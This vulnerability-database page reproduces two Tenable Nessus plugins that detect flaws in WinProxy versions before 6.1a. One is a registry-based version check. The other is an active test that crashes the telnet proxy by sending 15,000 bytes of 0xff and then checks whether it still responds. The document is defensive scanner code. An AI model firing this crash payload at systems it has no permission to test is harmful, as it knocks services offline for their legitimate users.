Vulnerabilities > CVE-2005-3654 - Unspecified vulnerability in Bluecoat Webproxy

#
# (C) Tenable Network Security, Inc.
#



include("compat.inc");

if (description) {
  script_id(20393);
  script_version("1.14");

  script_cve_id("CVE-2005-3187", "CVE-2005-3654", "CVE-2005-4085");
  script_bugtraq_id(16147, 16148, 16149);

  script_name(english:"WinProxy < 6.1a Multiple Vulnerabilities (credentialed check)");
  script_summary(english:"Checks for multiple vulnerabilities in WinProxy < 6.1a");

 script_set_attribute(attribute:"synopsis", value:
"The remote proxy is affected by multiple vulnerabilities." );
 script_set_attribute(attribute:"description", value:
"The remote host is running WinProxy, a proxy server for Windows. 

According to the Windows registry, the installed version of WinProxy
suffers from denial of service and buffer overflow vulnerabilities in
its telnet and web proxy servers.  An attacker may be able to exploit
these issues to crash the proxy or even execute arbitrary code on the
affected host." );
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?40f07cd6" );
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?3a6c81a5" );
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?79b3006b" );
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?8c88612f" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to WinProxy version 6.1a or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"metasploit_name", value:'Blue Coat WinProxy Host Header Overflow');
 script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
 script_set_attribute(attribute:"plugin_publication_date", value: "2006/01/10");
 script_set_attribute(attribute:"patch_publication_date", value: "2006/01/05");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/01/05");
 script_cvs_date("Date: 2018/08/06 14:03:14");
script_set_attribute(attribute:"plugin_type", value:"local");
script_end_attributes();

 
  script_category(ACT_GATHER_INFO);
  script_family(english:"Firewalls");
  script_copyright(english:"This script is Copyright (C) 2006-2018 Tenable Network Security, Inc.");
  script_dependencies("smb_hotfixes.nasl");
  script_require_keys("SMB/Registry/Enumerated");
  script_require_ports(139, 445);

  exit(0);
}


if (!get_kb_item("SMB/Registry/Enumerated")) exit(0);


# Look in the registry for evidence of WinProxy.
name = get_kb_item("SMB/Registry/HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Uninstall/WinProxy 6/DisplayName");
if (name && name =~ "^WinProxy \(Version ([0-5]\.|6\.0)") {
  security_hole(0);
  exit(0);
}

#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if (description) {
  script_id(20392);
  script_version("1.17");

  script_cve_id("CVE-2005-3654");
  script_bugtraq_id(16149);

  script_name(english:"WinProxy < 6.1a Telnet Proxy Remote DoS");
  script_summary(english:"Checks for denial of service vulnerability in WinProxy < 6.1a Telnet Proxy");

 script_set_attribute(attribute:"synopsis", value:
"The remote telnet proxy server is affected by a denial of service
vulnerability." );
 script_set_attribute(attribute:"description", value:
"The remote host is running WinProxy, a proxy server for Windows. 

The installed version of WinProxy's telnet proxy fails to handle a
long string of 0xff characters.  An attacker may be able to exploit
this issue to crash the proxy, thereby denying service to valid users." );
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?b140c13e" );
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?8c88612f" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to WinProxy version 6.1a or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_set_attribute(attribute:"plugin_publication_date", value: "2006/01/10");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/01/05");
 script_cvs_date("Date: 2018/08/06 14:03:17");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();

 
  script_category(ACT_DENIAL);
  script_family(english:"Windows");
  script_copyright(english:"This script is Copyright (C) 2006-2018 Tenable Network Security, Inc.");
  script_dependencies("find_service1.nasl");
  script_require_ports("Services/telnet", 23);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("telnet_func.inc");


port = get_service(svc:"telnet", default: 23, exit_on_fail: 1);


# Make sure the service looks like WinProxy.
banner = get_telnet_banner(port:port);
if (
  banner && 
  "Enter computer name to connect to." >< banner
) {
  # Flag it as a proxy.
  register_service(port:port, ipproto:"tcp", proto:"telnet_proxy");

  # Try to exploit it.
  soc = open_sock_tcp(port);
  if (soc) {
    banner = recv(socket:soc, length:4096);
    send(socket:soc, data:crap(length:15000, data:raw_string(0xff)));
    res = recv(socket:soc, length:1024);
    close(soc);

    # Now try to reconnect.
    soc = open_sock_tcp(port);
    if (soc) {
      banner = recv(socket:soc, length:4096);
      send(socket:soc, data:SCRIPT_NAME);
      res2 = recv(socket:soc, length:1024);
      close(soc);
    }

    # There's a problem if we didn't get a response the second time.
    if (!strlen(res) && !strlen(res2)) {
      security_hole(port);
      exit(0);
    }
  }
}